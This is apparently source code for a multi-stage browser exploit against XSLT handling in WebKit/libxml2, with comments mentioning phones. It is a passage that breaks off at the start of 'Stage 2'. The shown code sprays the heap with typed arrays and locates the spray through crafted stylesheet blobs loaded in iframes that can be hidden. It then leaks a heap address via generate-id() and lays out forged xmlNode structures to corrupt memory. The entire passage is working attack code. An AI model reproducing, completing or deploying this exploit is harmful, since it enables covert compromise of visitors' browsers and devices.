| // \[ Convenience spray page handling object \]
------------------------------- //  
|  
| /\*\*  
|  \* @constructor  
|  \*/  
| function Page\(uint32array, base, index\) \{  
|  // It would be cleaner to work on the underlying ArrayBuffer object  
|  // but I've seen problems on some phones with this approach, so let's  
|  // stick with 32-bit modifications.  
|  
|  if \(index === undefined\) \{  
|  index = 0;  
|  \}  
|  this.array = uint32array;  
|  this.base = base;  
|  this.index = index;  
|  this.size = this.array.length \* 4;  
| \}  
|  
| Page.prototype.write = function \(addr, content\) \{  
|  var where = addr - \(this.base + 0x8\);  
|  var what = content;  
|  if \(\(where - this.base\)/4 + this.index > this.array.length\) \{  
|  throw new Error\("Attempt to write beyond array boundaries"\);  
|  \}  
|  if \(typeof\(what\) == "number"\) \{  
|  this.array\[where/4 + this.index\] = what;  
|  return;  
|  \}  
|  
|  // Raw byte array  
|  var size = Math.floor\(\(what.length + 3\) / 4\) \* 4; // Align to 4 bytes  
|  var buffer = new ArrayBuffer\(size\);  
|  var uint8v = new Uint8Array\(buffer\);  
|  var uint32v = new Uint32Array\(buffer\);  
|  
|  for \(var i = 0; i < what.length; i++\) \{  
|  uint8v\[i\] = what\[i\];  
|  \}  
|  
|  for \(var i = 0; i < uint32v.length; i++\) \{  
|  this.array\[where/4 + this.index + i\] = uint32v\[i\];  
|  \}  
| \};  
|  
| // Reads a dword.  
| Page.prototype.read = function \(addr\) \{  
|  var where = addr - \(this.base + 0x8\);  
|  if \(\(where - this.base\)/4 + this.index > this.array.length\) \{  
|  throw new Error\("Attempt to write beyond array boundaries"\);  
|  \}  
|  return this.array\[where/4 + this.index\];  
| \};  
|  
| // Apply layout \(note that this is \*not\* used when creating the first  
| // spray in order to make it a bit faster\)  
| Page.prototype.apply\_layout = function\(layout\) \{  
|  for \(var k = 0; k < layout.length; k++\) \{  
|  var el = layout\[k\];  
|  this.write\(el\[0\], el\[1\]\);  
|  \}  
| \};  
|  
| Page.prototype.in\_range = function\(addr\) \{  
|  var where = addr - \(this.base + 0x8\);  
|  if \(\(where - this.base\)/4 + this.index > this.array.length\) \{  
|  return false;  
|  \}  
|  return true;  
| \};  
|  
| // \[ String utility functions \]
--------------------------------------------- //  
|  
| // Converts an ASCII string to an integer array which contains each char's
byte  
| // value and null-terminates it \(with a 0x00 element\)  
| // if nullterm is false, the string is not null terminated.  
| function stringtoarray\(s, nullterm\) \{  
|  if \(nullterm === undefined\) \{  
|  nullterm = true;  
|  \}  
|  
|  var res = \[\];  
|  
|  for \(var i = 0; i < s.length; i++\) \{  
|  res.push\(s.charCodeAt\(i\)\);  
|  \}  
|  
|  if \(nullterm === true\) \{  
|  res.push\(0x0\);  
|  \}  
|  
|  return res;  
| \}  
|  
| // Converts an integer array to a javascript string. Array null-termination
is ignored.  
| function arraytostring\(arr\) \{  
|  if \(arr\[arr.length\] === 0\) \{  
|  arr.splice\(arr.length-1, 1\);  
|  \}  
|  return String.fromCharCode.apply\(null, arr\);  
| \}  
|  
| // \[ Heap spray functions \]
------------------------------------------------- //  
|  
| // Checks that no value has been defined twice  
| // For now it only works with 32bit values \(no raw byte arrays supported\)  
| function layout\_check\(base, layout\) \{  
|  var mem = \{\};  
|  for \(var k = 0; k < layout.length; k++\) \{  
|  var el = layout\[k\];  
|  var where = el\[0\] - \(base + 0x8\);  
|  var what = el\[1\];  
|  
|  if \(where in mem\) \{  
|  var adstring = "0x" + base.toString\(16\) + " \+ 0x" +
where.toString\(16\);  
|  ERR\("layout\_check ERROR: redefinition of memory address " + adstring + ".
" +  
|  "Previous definition was 0x" + mem\[where\].toString\(\)\);  
|  return false;  
|  \}  
|  mem\[where\] = what;  
|  \}  
|  return true;  
| \}  
|  
| var bigmem = \[\];  
|  
| function apply\_layout\(base, page, index, layout\) \{  
|  for \(var k = 0; k < layout.length; k++\) \{  
|  var el = layout\[k\];  
|  var where = el\[0\] - \(base + 0x8\);  
|  var what = el\[1\];  
|  if \(typeof\(what\) == "number"\) \{  
|  page\[where/4 + index\] = what;  
|  continue;  
|  \}  
|  
|  // Raw byte array  
|  var size = Math.floor\(\(what.length + 3\) / 4\) \* 4; // Align to 4 bytes  
|  var buffer = new ArrayBuffer\(size\);  
|  var uint8v = new Uint8Array\(buffer\);  
|  var uint32v = new Uint32Array\(buffer\);  
|  
|  for \(var i = 0; i < what.length; i++\) \{  
|  uint8v\[i\] = what\[i\];  
|  \}  
|  
|  for \(var i = 0; i < uint32v.length; i++\) \{  
|  page\[where/4 + index + i\] = uint32v\[i\];  
|  \}  
|  \}  
| \}  
|  
| function map\_pages\(layout, num\) \{  
|  var M1024 = 0xffff4;  
|  var SIZE = M1024;  
|  
|  for \(var i = 0; i < num; i++\) \{  
|  var page;  
|  try \{  
|  page = new Uint32Array\(SIZE\);  
|  bigmem.push\(page\);  
|  \} catch \(e\) \{  
|  INFO\("Can't map more pages \(" + i + "\)"\);  
|  for \(var j = i - 60; j < i; j++\) \{  
|  // This way the gc might be triggered more easily  
|  delete bigmem\[j\];  
|  bigmem.splice\(j, 1\);  
|  \}  
|  break;  
|  \}  
|  
|  apply\_layout\(0, page, 0, layout\);  
|  \}  
|  
| \}  
|  
| function search\_pages\(offset, comparevalue\) \{  
|  for \(var i = 0; i < bigmem.length; i++\) \{  
|  var page = bigmem\[i\];  
|  for \(var j = 0; j < 1024; j++\) \{  
|  var data = page\[j\*1024 + \(offset - 0x8\)/4\];  
|  if \(data \!= comparevalue\) \{  
|  return \{data:data, index:i, displ:j\};  
|  \}  
|  \}  
|  \}  
|  return null;  
| \}  
|  
| // \[ xml/xsl and text handling \]
-------------------------------------------- //  
|  
| function parseXML\(string\) \{  
|  var parser = new DOMParser\(\);  
|  var xml = parser.parseFromString\(string, "text/xml"\);  
|  // TODO error checking  
|  return xml;  
| \}  
|  
| function loadXML\(filename\) \{  
|  var req = new XMLHttpRequest\(\);  
|  req.open\("GET", filename, false\);  
|  req.send\(\);  
|  // TODO error checking  
|  return req.responseXML;  
| \}  
|  
| function loadtext\(filename\) \{  
|  var req = new XMLHttpRequest\(\);  
|  req.open\("GET", filename, false\);  
|  req.send\(\);  
|  // TODO error checking  
|  return req.responseText;  
| \}  
|  
|  
| // \[ Entry point \]
---------------------------------------------------------- //  
|  
| function start\(\)\{  
|  // if \(\!window.confirm\("Start?"\)\) return;  
|  
|  stage0\(\);  
|  
| \}  
|  
| window\["start"\] = start;  
|  
| var trk = 0;  
|  
| function redirmessage\(\) \{  
|  window.setTimeout\(function\(\) \{  
|  var p = document.createElement\("p"\);  
|  p.innerHTML = "Redirecting...";  
|  document.body.appendChild\(p\);  
|  \}, 2500\);  
| \}  
|  
|  
| // \[ Stage 0 \]
-------------------------------------------------------------- //  
|  
| // Stage 0 sets up the memory so that there are 0x1000 bytes at a controlled  
| // address. The process is stabilized and the address is verified.  
|  
| function stage0\(\) \{  
|  
|  redirmessage\(\);  
|  
|  var layout = transformlayout\(0x0\);  
|  
|  map\_pages\(layout, 330\);  
|  INFO\("pages mapped."\);  
|  
|  find\_spray\_addr\(0x7a703030, 0x79303030, -0x10000\);  
|  
|  return;  
|  
| \}  
|  
| // These functions spray the memory, examine the address space and find  
| // A controlled address where to write exploit data.  
| function stage0\_done\(n, addr\) \{  
|  INFO\("Found address " + hex\(addr\) + " @ page " + n\);  
|  // Compute base  
|  var base = \(addr & 0xffffff00\)>>>0;  
|  stage1\(base, n\);  
|  return;  
| \}  
|  
| function stage0\_fail\(addr\) \{  
|  ERR\("The spray could not be found in memory \( reached " + hex\(addr\) +
"\)"\);  
| \}  
|  
| function transformlayout\(base\) \{  
|  // String: "http://www.w3.org/1999/XSL/Transform"  
|  
|  // \[0x70747468, 0x772f2f3a, 0x772e7777, 0x726f2e33,  
|  // 0x39312f67, 0x582f3939, 0x542f4c53, 0x736e6172,  
|  // 0x6d726f66\]  
|  
|  var layout = \[\];  
|  
|  for \(var i = 0; i < 16 \* 4; i++\) \{  
|  layout.push\(\[base + i \* 0x10000 + \(i%16\) \* 0x1000 + 0x30,
0x70747468\]\);  
|  layout.push\(\[base + i \* 0x10000 + \(i%16\) \* 0x1000 + 0x34,
0x772f2f3a\]\);  
|  layout.push\(\[base + i \* 0x10000 + \(i%16\) \* 0x1000 + 0x38,
0x772e7777\]\);  
|  layout.push\(\[base + i \* 0x10000 + \(i%16\) \* 0x1000 + 0x3c,
0x726f2e33\]\);  
|  layout.push\(\[base + i \* 0x10000 + \(i%16\) \* 0x1000 + 0x40,
0x39312f67\]\);  
|  layout.push\(\[base + i \* 0x10000 + \(i%16\) \* 0x1000 + 0x44,
0x582f3939\]\);  
|  layout.push\(\[base + i \* 0x10000 + \(i%16\) \* 0x1000 + 0x48,
0x542f4c53\]\);  
|  layout.push\(\[base + i \* 0x10000 + \(i%16\) \* 0x1000 + 0x4c,
0x736e6172\]\);  
|  layout.push\(\[base + i \* 0x10000 + \(i%16\) \* 0x1000 + 0x50,
0x6d726f66\]\);  
|  \}  
|  
|  return layout;  
| \}  
|  
| // find\_spray\_addr performs a search for the XSLT string at address addr.  
| // If it is not found, it keeps incrementing/decrementing the address  
| // by the value increment until either the string is found or the address  
| // stop is hit. Addresses which are not valid XML strings are skipped.  
| function find\_spray\_addr\(addr, stop, increment\) \{  
|  if \(\(increment >= 0\) && \(addr > stop\)\) \{  
|  stage0\_fail\(addr\);  
|  return;  
|  \}  
|  
|  if \(\(increment <= 0\) && \(addr < stop\)\) \{  
|  stage0\_fail\(addr\);  
|  return;  
|  \}  
|  
|  while \(\(\(addr & 0xff00\) == 0x3c00\) || \(\(addr & 0xff00\) == 0x3e00\)
||  
|  \(\(addr & 0xff0000\) == 0x3c0000\) || \(addr & 0xff0000\) == 0x3e0000\) \{  
|  addr = addr + increment;  
|  \}  
|  
|  if \(\(addr & 0x00ff00\)>>>0 < 0x002000\) \{  
|  if \(increment > 0\) \{  
|  addr = \(\(addr & 0xffff00ff\)>>>0\) ^ 0x002000;  
|  \} else \{  
|  addr = \(\(addr - 0x010000\) & 0xffff00ff\)>>>0 ^ 0x00007000;  
|  \}  
|  \}  
|  
|  if \(\(addr & 0x00ff00\) > 0x007a00\) \{  
|  if \(increment > 0\) \{  
|  addr = \(\(addr & 0xffff00ff\)>>>0 + 0x10000\) ^ 0x002000;  
|  \} else \{  
|  addr = \(addr & 0xffff00ff\)>>>0 ^ 0x007000;  
|  \}  
|  \}  
|  
|  if \(\(addr & 0x00ff0000\)>>>0 < 0x00200000\) \{  
|  if \(increment > 0\) \{  
|  addr = \(addr & 0xff00ffff\)>>>0 ^ 0x00200000;  
|  \} else \{  
|  addr = \(\(addr - 0x01000000\) & 0xff00ffff\)>>>0 ^ 0x007a0000;  
|  \}  
|  \}  
|  
|  if \(\(addr & 0x00ff0000\) > 0x007a0000\) \{  
|  if \(increment > 0\) \{  
|  addr = \(\(addr & 0xff00ffff\)>>>0 + 0x1000000\) ^ 0x00200000;  
|  \} else \{  
|  addr = \(addr & 0xff00ffff\)>>>0 ^ 0x007a0000;  
|  \}  
|  \}  
|  
|  var sheetblob = createsheetblob\(addr\);  
|  var docblob = createdocblob\(sheetblob.url\);  
|  
|  var iframe = document.createElement\("iframe"\);  
|  
|  if \(INVISIBLE === true\) \{  
|  iframe.style.height = 0;  
|  iframe.style.width = 0;  
|  iframe.style.border = "none";  
|  \}  
|  
|  var iframesrc = docblob.url;  
|  iframe.src = iframesrc;  
|  iframe.onload = function \(e\) \{  
|  var url = e.currentTarget.contentWindow.location.href;  
|  // var frameaddr = parseInt\(url.substring\(url.indexOf\(prefix\) +
prefix.length\)\);  
|  if \(url \!= iframesrc\) \{  
|  ERR\("PHANTOM BUG: expecting " + iframesrc + ", got " + url\);  
|  \}  
|  // INFO\("find\_spray\_addr iframe load " + frameaddr\);  
|  var htmlelem = e.currentTarget.contentWindow.document.documentElement;  
|  if \(htmlelem === null || htmlelem.textContent.indexOf\("error"\) \!= -1\)
\{  
|  start\_bisect\(addr\);  
|  return;  
|  \} else \{  
|  find\_spray\_addr\(addr + increment, stop, increment\);  
|  return;  
|  \}  
|  \};  
|  document.body.appendChild\(iframe\);  
|  return;  
|  
| \}  
|  
| function start\_bisect\(addr\) \{  
|  INFO\("starting bisect @ " + hex\(addr\)\);  
|  bisect\(0, bigmem.length-1, addr\);  
| \}  
|  
| function bisect\_clear\(a, b\) \{  
|  for \(var j = a; j <= b; j++\) \{  
|  for \(var i = 0; i < 16 \* 4; i++\) \{  
|  var index = \(i \* 0x10000 + \(i%16\) \* 0x1000 + 0x30 - 0x8\) / 4;  
|  bigmem\[j\]\[index\] = 0;  
|  \}  
|  \}  
| \}  
|  
| function bisect\_putback\(a, b\) \{  
|  for \(var j = a; j <= b; j++\) \{  
|  for \(var i = 0; i < 16 \* 4; i++\) \{  
|  var index = \(i \* 0x10000 + \(i%16\) \* 0x1000 + 0x30 - 0x8\) / 4;  
|  bigmem\[j\]\[index\] = 0x70747468;  
|  \}  
|  \}  
| \}  
|  
| function bisect\(a, b, addr\) \{  
|  if \(a == b\) \{  
|  stage0\_done\(a, addr\);  
|  return;  
|  \}  
|  
|  var n = b - a + 1;  
|  var mid = a + \(Math.floor\(n/2\)\);  
|  bisect\_clear\(a, mid-1\);  
|  
|  var bisect\_firsthalf = function\(\) \{  
|  bisect\_putback\(a, mid-1\);  
|  bisect\(a, mid-1, addr\);  
|  \};  
|  
|  var bisect\_secondhalf = function\(\) \{  
|  bisect\_putback\(mid, b\);  
|  bisect\(mid, b, addr\);  
|  \};  
|  
|  bisect\_check\(bisect\_firsthalf, bisect\_secondhalf, addr\);  
|  return;  
| \}  
|  
|  
| function bisect\_check\(bisect\_firsthalf, bisect\_secondhalf, addr\) \{  
|  // INFO\("bisect\_check " + addr\);  
|  
|  var iframe = document.createElement\("iframe"\);  
|  
|  var sheetblob = createsheetblob\(addr\);  
|  var docblob = createdocblob\(sheetblob.url\);  
|  // var prefix = "ad.xml?contentId=";  
|  var iframesrc = docblob.url;  
|  
|  if \(INVISIBLE === true\) \{  
|  iframe.style.height = 0;  
|  iframe.style.width = 0;  
|  iframe.style.border = "none";  
|  \}  
|  
|  iframe.src = iframesrc;  
|  iframe.onload = function \(e\) \{  
|  var url = e.currentTarget.contentWindow.location.href;  
|  if \(url \!= iframesrc\) \{  
|  ERR\("PHANTOM BUG: expecting " + iframesrc + ", got " + url\);  
|  \}  
|  var htmlelem = e.currentTarget.contentWindow.document.documentElement;  
|  if \(htmlelem === null || htmlelem.textContent.indexOf\("error"\) \!= -1\)
\{  
|  bisect\_secondhalf\(\);  
|  return;  
|  \} else \{  
|  bisect\_firsthalf\(\);  
|  return;  
|  \}  
|  \};  
|  // alert\("ready to insert iframe"\);  
|  document.body.appendChild\(iframe\);  
|  return;  
|  
| \}  
|  
| function toascii\(addr\) \{  
|  var arr = \[\(addr >> 0\) & 0xff,  
|  \(addr >> 8\) & 0xff,  
|  \(addr >> 16\) & 0xff,  
|  \(addr >> 24\) & 0xff\];  
|  return arraytostring\(arr\);  
| \}  
|  
| function createdocblob\(sheeturl\) \{  
|  var doc = '<?xml-stylesheet type="text/xsl" href="' + sheeturl +
'"?><root/>';  
|  
|  return createblob\(doc, "application/xml"\);  
| \}  
|  
| function createsheetblob\(addr\) \{  
|  var doc = "";  
|  doc += "<\!DOCTYPE adoc \[";  
|  doc += "<\!-- x -->";  
|  doc += '<\!ENTITY cdent "';  
|  doc += '<html>XX';  
|  doc += toascii\(addr\); // ns->href  
|  doc += toascii\(addr\); // ns->prefix  
|  doc += 'XXXX' // ns->\_private  
|  doc += 'XXXX' // ns->context  
|  doc += '<xsl:message xmlns:xsl=\'http://www.w3.org/1999/XSL/Transform\'
terminate=\'yes\'/></html>">'  
|  doc += "<\!-- y -->"  
|  doc += "\]>" + "\n"  
|  doc += '<ata xsl:version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform">&cdent;</ata>'  
|  
|  return createblob\(doc, "text/xsl"\);  
| \}  
|  
| // Blob convenience function  
| function createblob\(content, contenttype\) \{  
|  var builder = new WebKitBlobBuilder\(\);  
|  builder.append\(content\);  
|  var blob = builder.getBlob\(contenttype\);  
|  var url = webkitURL.createObjectURL\(blob\);  
|  return \{blob: blob, url:url\};  
| \}  
|  
|  
| // \[ Stage 1 \]
-------------------------------------------------------------- //  
|  
|  
| // All fields but the last two are sized 4  
| // Total size: 60 bytes  
|  
| // type = struct \_xmlNode \{  
| // 0 void \*\_private;  
| // 4 xmlElementType type;  
| // 8 const xmlChar \*name;  
| // 12 struct \_xmlNode \*children;  
| // 16 struct \_xmlNode \*last;  
| // 20 struct \_xmlNode \*parent;  
| // 24 struct \_xmlNode \*next;  
| // 28 struct \_xmlNode \*prev;  
| // 32 struct \_xmlDoc \*doc;  
| // 36 xmlNs \*ns;  
| // 40 xmlChar \*content;  
| // 44 struct \_xmlAttr \*properties;  
| // 48 xmlNs \*nsDef;  
| // 52 void \*psvi;  
| // 56 short unsigned int line; // size 2  
| // 58 short unsigned int extra; // size 2  
| // \}  
|  
| function stage1\(base, pagenum\) \{  
|  INFO\("> \[ Stage 1 \]"\);  
|  
|  var iframe = document.createElement\("iframe"\);  
|  
|  var src = "data.xml?id=" + base.toString\(\);  
|  
|  iframe.src = src;  
|  
|  if \(INVISIBLE === true\) \{  
|  iframe.style.height = 0;  
|  iframe.style.width = 0;  
|  iframe.style.border = "none";  
|  \}  
|  
|  iframe.onload = function \(e\) \{  
|  var url = e.currentTarget.contentWindow.location.href;  
|  if \(e.currentTarget.contentWindow.location.href.indexOf\("data.xml?id="\)
== -1\) \{  
|  ERR\("PHANTOM BUG: iframe src and event target don't match\! " + url + "
expecting " + src\);  
|  \}  
|  
|  var xml = iframe.contentWindow.document;  
|  if \(xml === undefined\) \{  
|  ERR\("Cannot process source XML document"\);  
|  \}  
|  
|  var XSL = '<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
version="1.0" >' +  
|  '<xsl:template match="/\*">' +  
|  '<data>' +  
|  '<xsl:value-of select="generate-id\(\)" />' +  
|  '</data>' +  
|  '</xsl:template>' +  
|  '</xsl:stylesheet>';  
|  
|  var xsl = parseXML\(XSL\);  
|  
|  INFO\("ready to process generate-id stylesheet"\);  
|  var processor = new XSLTProcessor\(\);  
|  processor.importStylesheet\(xsl\);  
|  var res = processor.transformToDocument\(xml\);  
|  if \(res === undefined\) \{  
|  ERR\("Cannot process XML with generate-id stylesheet"\);  
|  \}  
|  
|  var id = res.getElementsByTagName\("data"\)\[0\];  
|  var firstid = id.childNodes\[0\].nodeValue;  
|  
|  processor = new XSLTProcessor\(\);  
|  processor.importStylesheet\(xsl\);  
|  res = processor.transformToDocument\(xml\);  
|  if \(res === undefined\) \{  
|  ERR\("Cannot process XML with generate-id stylesheet a second time"\);  
|  \}  
|  
|  id = res.getElementsByTagName\("data"\)\[0\];  
|  var secondid = id.childNodes\[0\].nodeValue;  
|  
|  INFO\(" first id: " + firstid\);  
|  INFO\("second id: " + secondid\);  
|  
|  if \(firstid \!= secondid\) \{  
|  ERR\("No infoleak available " + firstid + " " + secondid\);  
|  \}  
|  
|  var documentarea = parseInt\(firstid.substring\(2\)\) \* 60;  
|  
|  INFO\("documentarea: " + documentarea.toString\(16\)\);  
|  
|  if \(documentarea < 0x10000 || documentarea > 0xffffffff\) \{  
|  ERR\("Strange infoleak address: " + hex\(documentarea\)\);  
|  \}  
|  
|  xslt\_exploit\(iframe, xml, base, documentarea, pagenum\);  
|  \};  
|  
|  document.body.appendChild\(iframe\);  
|  
| \}  
|  
| function xslt\_exploit\(iframe, xml, base, documentarea, pagenum\) \{  
|  
|  documentarea += 56;  
|  documentarea += 4;  
|  
|  var layout = createstage1layout\(base, documentarea\);  
|  var page = bigmem\[pagenum\];  
|  
|  // Do spring cleaning and fill this page  
|  for \(var i = 0; i < 16 \* 4; i++\) \{  
|  var index = \(i \* 0x10000 + \(i%16\) \* 0x1000\) / 4;  
|  for \(var j = 0; j < 40; j++\) \{  
|  page\[index - 2 + 0x30/4 + j\] = 0;  
|  \}  
|  apply\_layout\(base, page, index, layout\);  
|  \}  
|  
|  var XSL = '<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
version="1.0" >' +  
|  '<xsl:template match="ztX">' +  
|  ' <xsl:if test="text\(\)=ELZ">' +  
|  ' <xsl:apply-templates/>' +  
|  ' <xsl:message terminate="yes"/>' +  
|  ' </xsl:if>' +  
|  '</xsl:template>' +  
|  '<xsl:template match="/\*">' +  
|  ' <xsl:for-each select="namespace::\*">' +  
|  ' <xsl:if test="position\(\) = 2">' +  
|  ' <xsl:apply-templates />' +  
|  ' </xsl:if>' +  
|  ' </xsl:for-each>' +  
|  '</xsl:template>' +  
|  '</xsl:stylesheet>';  
|  
|  var xsl = parseXML\(XSL\);  
|  var processor = new XSLTProcessor\(\);  
|  processor.importStylesheet\(xsl\);  
|  var result = processor.transformToDocument\(xml\);  
|  
|  var displ = null;  
|  var data = null;  
|  for \(var j = 0; j < 1024; j++\) \{  
|  data = page\[j\*1024 + \(0x70 + 24 - 0x8\)/4\];  
|  if \(data \!== 0\) \{  
|  displ = j;  
|  break;  
|  \}  
|  \}  
|  
|  if \(displ === null\) \{  
|  ERR\("Modified page not found :\("\);  
|  \}  
|  
|  // The value \(data\) MUST be base + 0x44.  
|  // This can be used as a server-side check to verify if the next part of
the  
|  // exploit should be sent.  
|  
|  trk += data & 0xff; // trk = 0x44  
|  
|  // Compute page base and reposition  
|  var pagebase = \(\(data & 0xffffff00\)>>>0\) - displ\*1024\*4;  
|  
|  if \(ENABLE\_DEBUG\) \{  
|  var dbgstring = "FOUND IT :\) " + data.toString\(16\) +  
|  " \[index: " + pagenum + ", displ: " + displ + "\]" +  
|  " pagebase: " + hex\(pagebase\) + " base: " + hex\(base\);  
|  
|  INFO\(dbgstring\);  
|  \}  
|  
|  // End of stage0. At this point we have ~4MB completely controlled at a  
|  // controlled address and a trashed XML object with a known address on the
heap.  
|  
|  var pageobj = new Page\(page, pagebase, 0\);  
|  
|  stage2\(pageobj, base, iframe, xml, documentarea\);  
| \}  
|  
| function createstage1layout\(base, documentarea\) \{  
|  // Note that the NULLs can actually be removed, they are in place  
|  // just as a reminder NOT to change them and to make layout\_check  
|  // complain if they are redefined  
|  
|  // Compute the addresses for the 0x12 node  
|  var targetaddr = base + 0x1d0;  
|  var taA = \(targetaddr >> 0\) & 0xff;  
|  var taB = \(targetaddr >> 8\) & 0xff;  
|  var taC = \(targetaddr >> 16\) & 0xff;  
|  var taD = \(targetaddr >> 24\) & 0xff;  
|  
|  var dword22 = \(taA << 16\) | \(taB << 24\);  
|  var dword26 = \(taD << 8\) | taC;  
|  
|  var layout = \[  
|  
|  \[base + 0x12 + 2, 0x00030000\], // node12->type = XML\_TEXT\_NODE
\[unaligned +2\]  
|  \[base + 0x12 + 22, dword22\],  
|  \[base + 0x12 + 26, dword26\], // node12->next = DTDclear \[unaligned +2\]  
|  \[base + 0x12 + 30, 0\],  
|  \[base + 0x12 + 34, 0\],  
|  
|  // next \(struct \_xmlNode\), doc \(struct \_xmlDoc\) \[overlapping\]  
|  // next is also the first ztX node  
|  \[base + 0x44 + 4, 1\], // ztX->type = XML\_ELEMENT\_NODE \(1\)  
|  \[base + 0x44 + 8, base + 0x1c0\], // ztX->name = "ztX"  
|  \[base + 0x44 + 12, base + 0xf0\], // ztX->children = comparetext  
|  \[base + 0x44 + 24, base + 0x2c8\], // ztX->next = next ztX node  
|  // IMPORTANT: base + 0x44 + 28 will become cur->prev \(base + 0x70\)  
|  
|  // 0 \[base + 0x34 + 44, 0x0\], // doc->intSubset = NULL  
|  // 0 \[base + 0x34 + 48, 0x0\], // doc->extSubset = NULL  
|  \[base + 0x34 + 80, base + 0xb0\], // doc->dict  
|  
|  // prev: base + 0x70  
|  // IMPORTANT: base + 0x70 + 24 will become cur->next \(base + 0x44\)  
|  
|  // Reference node \(struct \_xmlNode\): base + 0x90  
|  \[base + 0x90 + 4, 3\], // refnode->type = XML\_TEXT\_NODE \(3\)  
|  \[base + 0x90 + 40, base + 0x1c8\], // refnode->content = "\x01\x00"  
|  
|  // doc->dict \(struct \_xmlDict\)  
|  \[base + 0xb0 + 16, base + 0xd0\], // doc->dict->strings  
|  // 0 \[base + 0xb0 + 20, 0x0\], // doc->dict->subdict  
|  
|  // doc->dict->strings \(struct \_xmlDictStrings\)  
|  // 0 \[base + 0xd0 + 0, 0x0\], // doc->dict->strings->next  
|  \[base + 0xd0 + 4, 0xefffffff\], // doc->dict->strings->free  
|  
|  // comparetext \(struct \_xmlNode\)  
|  \[base + 0xf0 + 4, 3\], // comparetext->type = XML\_TEXT\_NODE \(3\)  
|  \[base + 0xf0 + 24, base + 0x16c\], // comparetext->next = ELZ  
|  \[base + 0xf0 + 40, documentarea\], // comparetext->content = candidate
location \(to compare\)  
|  
|  // children \(struct \_xmlNode\): base + 0x130  
|  \[base + 0x130 + 4, 14\], // children->type = XML\_DTD\_NODE \(14\)  
|  // 0 \[base + 0x130 + 24, 0x0\], // children->next = NULL  
|  // 0 \[base + 0x130 + 32, 0x0\], // children->doc = NULL  
|  
|  // ELZ node \(struct \_xmlNode\)  
|  \[base + 0x16c + 4, 1\], // ELZ->type = XML\_ELEMENT\_NODE \(1\)  
|  \[base + 0x16c + 8, base + 0x1c4\], // ELZ->name = "ELZ"  
|  \[base + 0x16c + 12, base + 0x90\], // ELZ->children = refnode  
|  \[base + 0x16c + 24, base + 0x190\], // ELZ->next = DTDoverwrite  
|  
|  // DTDoverwrite node  
|  \[base + 0x190 + 4, 14\], // DTDoverwrite->type = XML\_DTD\_NODE  
|  \[base + 0x190 + 24, base + 0x12\], // DTDoverwrite->next = node12  
|  \[base + 0x190 + 28, documentarea - 24\], // DTDoverwrite->prev = candidate
location - offset\(next\)  
|  
|  // Strings  
|  \[base + 0x1c0, 0x0058747a\], // "ztX\0"  
|  \[base + 0x1c4, 0x005a4c45\], // "ELZ\0"  
|  \[base + 0x1c8, 0x00000001\], // "\x01\x00" \(reference string\)  
|  
|  // DTDclear node  
|  \[base + 0x1d0 + 4, 14\], // DTDclear->type = XML\_DTD\_NODE \(14\)  
|  // 0 \[base + 0x1d0 + 24, 0x0\], // DTDclear->next = NULL  
|  \[base + 0x1d0 + 28, documentarea + 1 - 24\], // DTDclear->prev = candidate
location + 1 - offset\(next\)  
|  
|  \];  
|  
|  var ztbase;  
|  
|  for \(var i = 2; i <= 15; i++\) \{  
|  ztbase = base + i \* 0x100;  
|  documentarea -= 4;  
|  
|  // Compute the addresses for the 0x12 node  
|  targetaddr = ztbase + 0x9c;  
|  taA = \(targetaddr >> 0\) & 0xff;  
|  taB = \(targetaddr >> 8\) & 0xff;  
|  taC = \(targetaddr >> 16\) & 0xff;  
|  taD = \(targetaddr >> 24\) & 0xff;  
|  
|  dword22 = \(taA << 16\) | \(taB << 24\);  
|  dword26 = \(taD << 8\) | taC;  
|  
|  // INFO\("tocheck: " + documentarea.toString\(16\)\);  
|  
|  // node12  
|  layout.push\(\[ztbase + 0x12 + 2, 0x00030000\]\); // node12->type =
XML\_TEXT\_NODE \(3\) \[unaligned +2\]  
|  layout.push\(\[ztbase + 0x12 + 22, dword22\]\);  
|  layout.push\(\[ztbase + 0x12 + 26, dword26\]\); // node12->next = DTDclear  
|  
|  // IMPORTANT: ENSURE CLEANUP between layout applications  
|  layout.push\(\[ztbase + 0x12 + 30, 0x0\]\);  
|  
|  // comparetext node  
|  layout.push\(\[ztbase + 0x40 + 4, 3\]\); // comparetext->type =
XML\_TEXT\_NODE \(3\)  
|  layout.push\(\[ztbase + 0x40 + 24, ztbase + 0x6c\]\); // comparetext->next
= ELZ  
|  layout.push\(\[ztbase + 0x40 + 40, documentarea\]\); //
comparetext->content = candidate location  
|  
|  // ELZ node  
|  layout.push\(\[ztbase + 0x6c + 4, 1\]\); // ELZ->type = XML\_ELEMENT\_NODE
\(1\)  
|  layout.push\(\[ztbase + 0x6c + 8, base + 0x1c4\]\); // ELZ->name = "ELZ"  
|  layout.push\(\[ztbase + 0x6c + 12, base + 0x90\]\); // ELZ->children =
refnode  
|  layout.push\(\[ztbase + 0x6c + 24, ztbase + 0xa8\]\); // ELZ->next =
DTDoverwrite  
|  
|  // DTDclear node \(final XML\_DTD\_NODE\)  
|  layout.push\(\[ztbase + 0x9c + 4, 14\]\); // DTDclear->type =
XML\_DTD\_NODE \(14\)  
|  // 0 layout.push\(\[ztbase + 0x9c + 24, 0x0\]\); // DTDclear->next = 0  
|  layout.push\(\[ztbase + 0x9c + 28, documentarea + 1 - 24\]\); //
DTDclear->prev = candidate location + 1 - offset\(next\)  
|  
|  // DTDoverwrite node  
|  layout.push\(\[ztbase + 0xa8 + 4, 14\]\); // DTDoverwrite->type =
XML\_DTD\_NODE  
|  layout.push\(\[ztbase + 0xa8 + 24, ztbase + 0x12\]\); // DTDoverwrite->next
= node12  
|  layout.push\(\[ztbase + 0xa8 + 28, documentarea - 24\]\); //
DTDoverwrite->prev = candidate location - offset\(next\)  
|  
|  // ztX node  
|  layout.push\(\[ztbase + 0xc8 + 4, 1\]\); // ztX->type = XML\_ELEMENT\_NODE
\(1\)  
|  layout.push\(\[ztbase + 0xc8 + 8, base + 0x1c0\]\); // ztX->name = "ztX"  
|  layout.push\(\[ztbase + 0xc8 + 12, ztbase + 0x40\]\); // ztX->children =
textcompare  
|  if \(i \!= 15\) \{  
|  layout.push\(\[ztbase + 0xc8 + 24, ztbase + 0x1c8\]\); // ztX->next = next
ztX node  
|  \}  
|  
|  \}  
|  
|  return layout;  
| \}  
|  
|  
| // \[ Stage 2 \]
-------------------------------------------------------------- //  
|  
| // stage2 accepts a page object  
| function stage2\(page, base, iframe, xml, documentarea\) \{  
